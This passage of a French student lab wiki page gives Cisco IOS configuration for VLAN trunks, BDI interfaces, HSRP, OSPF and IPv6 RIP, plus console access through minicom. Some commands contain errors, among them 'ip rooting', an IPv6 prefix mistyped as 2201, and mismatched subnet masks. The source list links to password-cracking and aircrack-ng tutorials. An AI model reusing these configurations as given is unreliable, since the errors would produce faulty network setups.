   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	</feed>